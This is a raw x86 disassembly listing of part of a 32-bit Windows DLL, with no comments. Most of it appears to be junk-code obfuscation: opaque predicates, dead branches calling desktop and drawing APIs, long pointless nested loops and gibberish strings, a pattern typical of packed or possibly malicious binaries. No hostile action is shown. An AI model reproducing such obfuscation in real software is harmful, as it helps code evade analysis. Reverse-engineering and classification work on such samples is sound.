jmp 0x1000b9fc
mov dword [ebp - 0x90], 0
jmp 0x1000ba3b
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1000ba57
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xcc], 1
jmp 0x1000ba2e
mov dword [ebp - 0x14], 0
jmp 0x1000ba67
cmp dword [ebp - 0x14], 0
jg 0x1000bf2f
mov dword [ebp - 0x1c0], 3
mov dword [ebp - 0xe04], 0
mov dword [ebp - 0x320], 0
jmp 0x1000ba9e
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 4
jge 0x1000baba
mov eax, dword [ebp - 0x320]
mov dword [ebp + eax*4 - 0xb1c], 0xfffffffc
jmp 0x1000ba91
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x30]
cmp ecx, dword [ebp + eax - 0x30]
jg 0x1000bad9
mov dword [ebp - 0x74c], 1
jmp 0x1000bae0
and dword [ebp - 0x74c], 0
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xb1c], 0
cmp dword [ebp - 0x14], 0
jg 0x1000bb03
mov dword [ebp - 0x91c], 1
jmp 0x1000bb0a
and dword [ebp - 0x91c], 0
mov eax, dword [ebp - 0x91c]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x11a4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x11a0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ebp + ecx*4 - 0x30]
imul ecx, dword [ebp + eax - 0xb1c]
test ecx, ecx
jne 0x1000bb51
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x30], 0
jne 0x1000bb51
mov dword [ebp - 0xa7c], 1
mov eax, dword [ebp - 0x74c]
add eax, dword [ebp - 0xa7c]
xor ecx, ecx
inc ecx
sub ecx, eax
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x48], 0
jmp 0x1000bb82
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc], 0
jne 0x1000bf68
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x794], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x794]
mov dword [ebp + eax - 0xcc], ecx
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcc], 0x26e24e13
jg 0x1000bf87
mov dword [ebp - 0x944], 1
jmp 0x1000bf8e
and dword [ebp - 0x944], 0
mov eax, dword [ebp - 0x944]
sub eax, dword [ebp - 0x328]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0xcc]
sub ecx, eax
cmp ecx, 0xffffffff
jg 0x1000bfba
mov dword [ebp - 0x79c], 1
jmp 0x1000bfc1
and dword [ebp - 0x79c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
cmp dword [ebp - 0x79c], eax
jle 0x1000bfdf
mov dword [ebp - 0xa1c], 1
jmp 0x1000bfe6
and dword [ebp - 0xa1c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x48]
imul ecx, dword [ebp - 0xa1c]
add ecx, dword [ebp - 0x48]
imul ecx, dword [ebp + eax - 0x30]
test ecx, ecx
jne 0x1000c018
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30], 0
jne 0x1000c018
mov dword [ebp - 0xc2c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30]
mov dword [ebp - 0x10c8], eax
mov eax, dword [ebp - 0x328]
cmp eax, dword [ebp - 0x48]
jle 0x1000c049
mov dword [ebp - 0x188], 0xcf5720e8
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x188], 0xfffffffe
jmp 0x1000f002
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xffffffe9
jg 0x1000f163
mov dword [ebp - 0x8b8], 0xcbad86e5
mov dword [ebp - 0x8c0], 0xb3a
mov dword [ebp - 0xb80], str.mvtbuzjps_uaesc_doqei_whz_kixxpkx_maqwjazje_peki_kiovxrv_ocnpuowi_jazesi_hjhdal_pwbun_npxmx_dvciq
cmp dword [ebp - 0x8c0], 0xef0
jle 0x1000f0e4
and dword [ebp - 0x2b4], 0
jmp 0x1000f053
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x12d3
jge 0x1000f0e4
and dword [ebp - 0x2bc], 0
jmp 0x1000f079
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x28b6
jge 0x1000f0df
mov eax, dword [ebp - 0x2b4]
cdq
idiv dword [ebp - 0x2bc]
mov eax, edx
cdq
mov dword [ebp - 0xd7c], eax
mov dword [ebp - 0xd78], edx
push dword [ebp - 0xd78]
push dword [ebp - 0xd7c]
lea ecx, [ebp - 0x12d8]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xb78], eax
mov ecx, dword [ebp - 0xb78]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x12d8]
call fcn.10001c71
jmp 0x1000f06c
jmp 0x1000f046
mov eax, dword [ebp - 0x8b8]
dec eax
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 4], 0x24
cmp dword [ebp - 0x8c0], 0x76d
jge 0x1000f110
push dword [ebp - 0xb80]
call fcn.1003e6f6
pop ecx
jmp 0x1000f12c
or dword [ebp - 4], 0xffffffff
jmp 0x1000f136
mov byte [ebp - 0x156], 0
movzx eax, byte [ebp - 0x156]
test eax, eax
je 0x1000f15e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
jmp 0x1000eff5
cmp dword [0x10070aa4], 0
je 0x10010839
mov dword [ebp - 0x2cc], 0x110c93b4
mov dword [ebp - 0xfb0], 0x23371247
mov dword [ebp - 0x1100], 0xfffffffa
mov dword [ebp - 0xfb8], 0x8ed40a16
mov dword [ebp - 0x190], 0x8628405c
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x1188], 0x1a7a81a8
mov dword [ebp - 0xfc0], 0xfffffff7
mov dword [ebp - 0x1108], 0x58a60016
mov dword [ebp - 0xfc8], 1
mov dword [ebp - 0x2c4], 0
jmp 0x1000f1ed
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 1
jge 0x1000f209
mov eax, dword [ebp - 0x2c4]
mov dword [ebp + eax*4 - 0x8d0], 0x886255d5
jmp 0x1000f1e0
mov dword [ebp - 0x2cc], 0xffffffef
jmp 0x1000f222
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0xfffffffc
jl 0x1000f3c6
mov dword [ebp - 0x1178], 2
mov dword [ebp - 0x1174], 2
mov dword [ebp - 0x1170], 2
mov dword [ebp - 0x116c], 2
mov dword [ebp - 0x1158], 1
mov dword [ebp - 0xfd0], 0x12d2c87
mov dword [ebp - 0x1110], 0xfffffffb
mov dword [ebp - 0x8c8], 0xd9e62b56
mov dword [ebp - 0xa4], 0
jmp 0x1000f298
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x1000f2b4
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0xe70], 0x609c3fbb
jmp 0x1000f28b
mov dword [ebp - 0xa4], 0
jmp 0x1000f2cd
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 3
jge 0x1000f2e9
mov eax, dword [ebp - 0xa4]
mov dword [ebp + eax*4 - 0x13ec], 0xfffffffb
jmp 0x1000f2c0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xe70], 3
jmp 0x1000f317
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe70]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xe70], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xe70], 0
jl 0x1000f3c1
mov dword [ebp - 0x2dc], 0xfffffff8
mov dword [ebp - 0x2d4], 0
jmp 0x1000f34e
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 1
jge 0x1000f36a
mov eax, dword [ebp - 0x2d4]
mov dword [ebp + eax*4 - 0xfd8], 0xffffffff
jmp 0x1000f341
mov dword [ebp - 0x2dc], 3
jmp 0x1000f383
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
jl 0x1000f3af
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x1000f3ad
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
jmp 0x1000f376
mov eax, dword [ebp - 0x8c8]
dec eax
mov dword [ebp - 0x8c8], eax
jmp 0x1000f2fc
jmp 0x1000f215
mov dword [ebp - 0x190], 0
jmp 0x1000f3df
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0
jg 0x1000f45b
mov byte [ebp - 0x158], 0
movzx eax, byte [ebp - 0x158]
test eax, eax
je 0x1000f418
push 0x1e76
push 0x11b9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
mov dword [ebp - 0x2e4], 0
jmp 0x1000f431
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0
jg 0x1000f456
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp + eax*4 - 0x8d0]
mov ecx, dword [ebp - 0x190]
mov dword [ebp + ecx*4 - 0x8d0], eax
jmp 0x1000f424
jmp 0x1000f3d2
mov eax, dword [ebp + 8]
mov dword [ebp - 0xbd0], eax
mov dword [ebp - 0x4c], 3
mov dword [ebp - 0x1198], 1
mov dword [ebp - 0xfe0], 8
mov dword [ebp - 0x1118], 0x675daafe
mov dword [ebp - 0xfe8], 0xbe618b25
mov dword [ebp - 0x1160], 0
mov dword [ebp - 0xff4], 0x5dae11cd
mov dword [ebp - 0x1120], 5
mov dword [ebp - 0x1000], 1
mov dword [ebp - 0x1190], 1
mov dword [ebp - 0x1008], 1
mov dword [ebp - 0x2ec], 0
jmp 0x1000f4e8
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 2
jge 0x1000f504
mov eax, dword [ebp - 0x2ec]
mov dword [ebp + eax*4 - 0x4c4], 0xf9b3
jmp 0x1000f4db
mov dword [ebp - 0x4c], 1
jmp 0x1000f514
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x1000fa0f
mov dword [ebp - 0x6c], 0x6e60b0ce
mov dword [ebp - 0x900], 0
mov dword [ebp - 0x10a8], 0xffffffff
mov dword [ebp - 0x1010], 6
mov dword [ebp - 0x938], 0x175c8fe3
mov dword [ebp - 0x2f4], 0
jmp 0x1000f566
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 4
jge 0x1000f582
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0x1414], 4
jmp 0x1000f559
mov dword [ebp - 0x6c], 1
jmp 0x1000f592
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
jl 0x1000fa0a
mov dword [ebp - 0xf8], 0x34d0069
mov dword [ebp - 0x474], 1
mov dword [ebp - 0xba8], 0x2c643d43
mov dword [ebp - 0x10ac], 0x57b06f86
mov dword [ebp - 0x1018], 0x7d884bb8
mov byte [ebp - 0xf9], 0
movzx eax, byte [ebp - 0xf9]
test eax, eax
je 0x1000f5ef
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
mov dword [ebp - 0xf8], 1
jmp 0x1000f608
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x1000fa05
mov dword [ebp - 0x10b4], 0x58390a34
mov dword [ebp - 0x1020], 0xffffffff
mov dword [ebp - 0x10a4], 0xd94485e
mov dword [ebp - 0x1028], 1
mov dword [ebp - 0x8d8], 0x64b9
mov dword [ebp - 0xb90], str.hxsgeo_dlc_boalw_tvzr_izurie_tgjeor_prejf
cmp dword [ebp - 0x8d8], 0x6591
jle 0x1000f769
and dword [ebp - 0x30c], 0
jmp 0x1000f677
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x4cef
jge 0x1000f769
and dword [ebp - 0x314], 0
jmp 0x1000f69d
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x5833
jge 0x1000f764
and dword [ebp - 0x2fc], 0
jmp 0x1000f6c3
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x468b
jge 0x1000f75f
and dword [ebp - 0x304], 0
jmp 0x1000f6e9
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x19c8
jge 0x1000f75a
mov eax, dword [ebp - 0x2fc]
sub eax, dword [ebp - 0x304]
mov ecx, dword [ebp - 0x30c]
and ecx, dword [ebp - 0x314]
or eax, ecx
cdq
mov dword [ebp - 0xd88], eax
mov dword [ebp - 0xd84], edx
push dword [ebp - 0xd84]
push dword [ebp - 0xd88]
lea ecx, [ebp - 0x1308]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xb88], eax
mov ecx, dword [ebp - 0xb88]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1308]
call fcn.10001c71
jmp 0x1000f6dc
jmp 0x1000f6b6
jmp 0x1000f690
jmp 0x1000f66a
mov dword [ebp - 0x10c4], 0xf83bf0b6
mov dword [ebp - 4], 0x26
cmp dword [ebp - 0x8d8], 0x635e
jge 0x1000f792
push dword [ebp - 0xb90]
call fcn.1003e6f6
pop ecx
jmp 0x1000f7ae
or dword [ebp - 4], 0xffffffff
jmp 0x1000f7b8
mov dword [ebp - 0x1030], 0xbbcdfa81
mov dword [ebp - 0x10cc], 1
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x4c4]
mov dword [ebp - 0x1038], eax
cmp dword [ebp - 0x6c], 0
jne 0x1000f818
cmp dword [ebp - 0xf8], 0
jne 0x1000f7f9
or eax, 0xffffffff
jne 0x1000f7f9
and dword [ebp - 0x8e0], 0
jmp 0x1000f803
mov dword [ebp - 0x8e0], 1
cmp dword [ebp - 0x8e0], 0xf9eb
jle 0x1000f818
and dword [ebp - 0x8e8], 0
jmp 0x1000f822
mov dword [ebp - 0x8e8], 1
cmp dword [ebp - 0x8e8], 0x9078
jg 0x1000f843
mov eax, 0xfeda
test eax, eax
je 0x1000f843
mov dword [ebp - 0x8f0], 1
jmp 0x1000f84a
and dword [ebp - 0x8f0], 0
cmp dword [ebp - 0x8f0], 0x2a4f2a6c
jle 0x1000f862
mov dword [ebp - 0x8f8], 1
jmp 0x1000f869
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x8f8]
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 0xb3d925d3
jbe 0x1000f8a6
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x4c4], 0
je 0x1000f8a6
mov dword [ebp - 0x908], 1
jmp 0x1000f8ad
and dword [ebp - 0x908], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0x908], eax
jle 0x1000f8c7
mov dword [ebp - 0xb98], 1
jmp 0x1000f8ce
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x10d4], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1040], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x6c]
add ecx, dword [ebp - 0x4c]
cmp ecx, dword [ebp + eax*4 - 0x4c4]
jg 0x1000f901
mov dword [ebp - 0x910], 1
jmp 0x1000f908
and dword [ebp - 0x910], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x4c4]
cmp dword [ebp - 0x910], eax
jge 0x1000f926
mov dword [ebp - 0xba0], 1
jmp 0x1000f92d
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x10dc], eax
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0x1048], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x4c4]
cmp eax, dword [ebp - 0x6c]
jne 0x1000f966
mov dword [ebp - 0x918], 1
jmp 0x1000f96d
and dword [ebp - 0x918], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x918], eax
jle 0x1000f984
mov dword [ebp - 0x920], 1
jmp 0x1000f98b
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x920]
cmp eax, 0x3e629bad
jne 0x1000f9a8
mov dword [ebp - 0x928], 1
jmp 0x1000f9af
and dword [ebp - 0x928], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x4c4]
cmp dword [ebp - 0x928], eax
jl 0x1000f9dd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x4c4], 0
je 0x1000f9dd
mov dword [ebp - 0x930], 1
jmp 0x1000f9e4
and dword [ebp - 0x930], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x930]
mov dword [ebp - 0xba8], eax
mov eax, dword [ebp - 0x938]
dec eax
mov dword [ebp - 0x938], eax
jmp 0x1000f5fb
jmp 0x1000f58b
jmp 0x1000f50d
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc30], eax
mov dword [ebp - 0x1c], 0x7b4bc66
mov dword [ebp - 0x1d4], 2
mov dword [ebp - 0x1cc], 0x7a05
mov dword [ebp - 0x108], 1
mov dword [ebp - 0xa00], 0x2e4bcb81
cmp dword [ebp - 0x1c], 0x4ad3
jl 0x1000fa5c
mov dword [ebp - 0x950], 1
jmp 0x1000fa63
and dword [ebp - 0x950], 0
cmp dword [ebp - 0x1c], 0
jne 0x1000fa87
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1050], eax
imul eax, dword [ebp - 0x1c], 0x124d
sub eax, dword [ebp - 0x1c]
jne 0x1000fa87
and dword [ebp - 0x940], 0
jmp 0x1000fa91
mov dword [ebp - 0x940], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x940], eax
je 0x1000faa8
mov dword [ebp - 0x948], 1
jmp 0x1000faaf
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x948], eax
je 0x1000fac6
mov dword [ebp - 0x958], 1
jmp 0x1000facd
and dword [ebp - 0x958], 0
mov eax, dword [ebp - 0x950]
cmp eax, dword [ebp - 0x958]
jl 0x1000fae7
mov dword [ebp - 0x960], 1
jmp 0x1000faee
and dword [ebp - 0x960], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x960]
je 0x1000fb0b
mov eax, 0xf9b6917a
test eax, eax
jne 0x1000fb0b
and dword [ebp - 0x968], 0
jmp 0x1000fb15
mov dword [ebp - 0x968], 1
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x968], eax
jg 0x1000fb2f
cmp dword [ebp - 0x1c], 0
jne 0x1000fb2f
and dword [ebp - 0x970], 0
jmp 0x1000fb39
mov dword [ebp - 0x970], 1
mov eax, dword [ebp - 0x970]
sub eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000fb9f
mov dword [ebp - 0x31c], 0
jmp 0x1000fb63
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 2
jge 0x1000fb7f
mov eax, dword [ebp - 0x31c]
mov dword [ebp + eax*4 - 0xe8c], 0xfffffffa
jmp 0x1000fb56
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe8c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe8c], eax
jmp 0x100100f9
mov dword [ebp - 0x100], 0xcb314b81
mov dword [ebp - 0x47c], 0x7b249e3c
mov dword [ebp - 0x494], 0x309f33d4
mov dword [ebp - 0x34c], 0x6bbb3073
mov dword [ebp - 0x978], 0x1b9f
mov dword [ebp - 0xbb8], str.blqfdrqd_nnpoyiyo_euhhlk_tlppl_alj_njsun_tbrrsjq_frfhpibp_gwa_ntbgy_sgbaxxm_paunsty_aojwd_wjjmtk
cmp dword [ebp - 0x978], 0x1be0
jle 0x1000fd11
push 0x3ec
push 0
push 0x265a
push 0
push 0xa3e
push 0xf3e
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
and dword [ebp - 0x33c], 0
jmp 0x1000fc1f
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x304c
jge 0x1000fd11
and dword [ebp - 0x334], 0
jmp 0x1000fc45
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x372b
jge 0x1000fd0c
and dword [ebp - 0x324], 0
jmp 0x1000fc6b
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x2736
jge 0x1000fd07
and dword [ebp - 0x32c], 0
jmp 0x1000fc91
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x34d0
jge 0x1000fd02
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x32c]
shl eax, cl
and eax, dword [ebp - 0x334]
or eax, dword [ebp - 0x33c]
cdq
mov dword [ebp - 0xd94], eax
mov dword [ebp - 0xd90], edx
push dword [ebp - 0xd90]
push dword [ebp - 0xd94]
lea ecx, [ebp - 0x1338]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xbb0], eax
mov ecx, dword [ebp - 0xbb0]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1338]
call fcn.10001c71
jmp 0x1000fc84
jmp 0x1000fc5e
jmp 0x1000fc38
jmp 0x1000fc12
mov dword [ebp - 0x344], 0
jmp 0x1000fd2a
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 1
jge 0x1000fd46
mov eax, dword [ebp - 0x344]
mov dword [ebp + eax*4 - 0x484], 5
jmp 0x1000fd1d
mov dword [ebp - 4], 0x28
cmp dword [ebp - 0x978], 0x199b
jge 0x1000fd65
push dword [ebp - 0xbb8]
call fcn.1003e6f6
pop ecx
jmp 0x1000fd81
or dword [ebp - 4], 0xffffffff
jmp 0x1000fd8b
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x10ec], eax
cmp dword [ebp - 0x100], 0xaa9d707d
jne 0x1000fdaf
mov dword [ebp - 0x980], 1
jmp 0x1000fdb6
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x980]
imul eax, eax, 0x7c26
imul eax, eax, 0x72be
mov dword [ebp - 0x47c], eax
mov eax, dword [ebp - 0x47c]
imul eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x1c]
jle 0x1000fdef
mov dword [ebp - 0x988], 1
jmp 0x1000fdf6
and dword [ebp - 0x988], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x988], eax
je 0x1000fe0d
mov dword [ebp - 0x990], 1
jmp 0x1000fe14
and dword [ebp - 0x990], 0
cmp dword [ebp - 0x990], 1
jg 0x1000fe29
mov dword [ebp - 0xbc0], 1
jmp 0x1000fe30
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1060], eax
mov eax, dword [ebp - 0x47c]
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x100], 0
je 0x1000fe58
cmp dword [ebp - 0x1d4], 0
cmp dword [ebp - 0x1cc], 0
jbe 0x1000fe6d
mov dword [ebp - 0x998], 1
jmp 0x1000fe74
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x998]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ebp - 0x1d4]
add eax, dword [ebp - 0x100]
cmp eax, 0xfffc
jne 0x1000fea4
xor eax, eax
inc eax
je 0x1000fea4
mov dword [ebp - 0x9a0], 1
jmp 0x1000feab
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x9a0]
neg eax
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0xfffffffe
jb 0x1000feda
mov dword [ebp - 0x9a8], 1
jmp 0x1000fee1
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x100]
cmp eax, dword [ebp - 0x9a8]
jg 0x1000ff01
cmp dword [ebp - 0x34c], 0
jne 0x1000ff01
and dword [ebp - 0x9b0], 0
jmp 0x1000ff0b
mov dword [ebp - 0x9b0], 1
cmp dword [ebp - 0x9b0], 0x1c1d
jle 0x1000ff23
mov dword [ebp - 0x9b8], 1
jmp 0x1000ff2a
and dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x9b8]
neg eax
jne 0x1000ff4a
cmp dword [ebp - 0x1c], 0
jne 0x1000ff4a
and dword [ebp - 0x9c0], 0
jmp 0x1000ff54
mov dword [ebp - 0x9c0], 1
mov eax, dword [ebp - 0x1cc]
imul eax, dword [ebp - 0x9c0]
imul eax, eax, 0xffffffff
cmp eax, dword [ebp - 0x34c]
jl 0x1000ff78
mov dword [ebp - 0x9c8], 1
jmp 0x1000ff7f
and dword [ebp - 0x9c8], 0
mov eax, dword [ebp - 0x9c8]
dec eax
jne 0x1000ff94
mov dword [ebp - 0x9d0], 1
jmp 0x1000ff9b
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x9d0]
mov dword [ebp - 0xa00], eax
mov dword [ebp - 0x108], 0
jmp 0x1000ffc0
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x100100f9
mov dword [ebp - 0x48c], 0x485393f1
cmp dword [ebp - 0x100], 0x4bca
je 0x1000ffef
mov dword [ebp - 0x9d8], 1
jmp 0x1000fff6
and dword [ebp - 0x9d8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x484]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
jne 0x10010024
cmp dword [ebp - 0x48c], 0
jne 0x10010024
and dword [ebp - 0xbc8], 0
jmp 0x1001002e
mov dword [ebp - 0xbc8], 1
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x1070], eax
mov eax, dword [ebp - 0x1cc]
cmp eax, dword [ebp - 0x1cc]
jg 0x10010054
mov dword [ebp - 0x9e0], 1
jmp 0x1001005b
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x9d8]
cmp eax, dword [ebp - 0x9e0]
jle 0x10010075
mov dword [ebp - 0x9e8], 1
jmp 0x1001007c
and dword [ebp - 0x9e8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x484]
cmp dword [ebp - 0x9e8], eax
jne 0x1001009d
mov dword [ebp - 0x9f0], 1
jmp 0x100100a4
and dword [ebp - 0x9f0], 0
mov eax, dword [ebp - 0x9f0]
sub eax, dword [ebp - 0x1d4]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ebp + ecx*4 - 0x484]
sub ecx, eax
cmp ecx, dword [ebp - 0x48c]
jg 0x100100d3
mov dword [ebp - 0x9f8], 1
jmp 0x100100da
and dword [ebp - 0x9f8], 0
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0xa00], eax
cmp dword [ebp - 0x494], 0
je 0x100100f4
jmp 0x1000ffb3
jmp 0x1000ffb3
mov byte [ebp - 0x13f], 0
movzx eax, byte [ebp - 0x13f]
test eax, eax
je 0x10010128
push 0
push 0x130f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov eax, dword [ebp - 0xbd0]
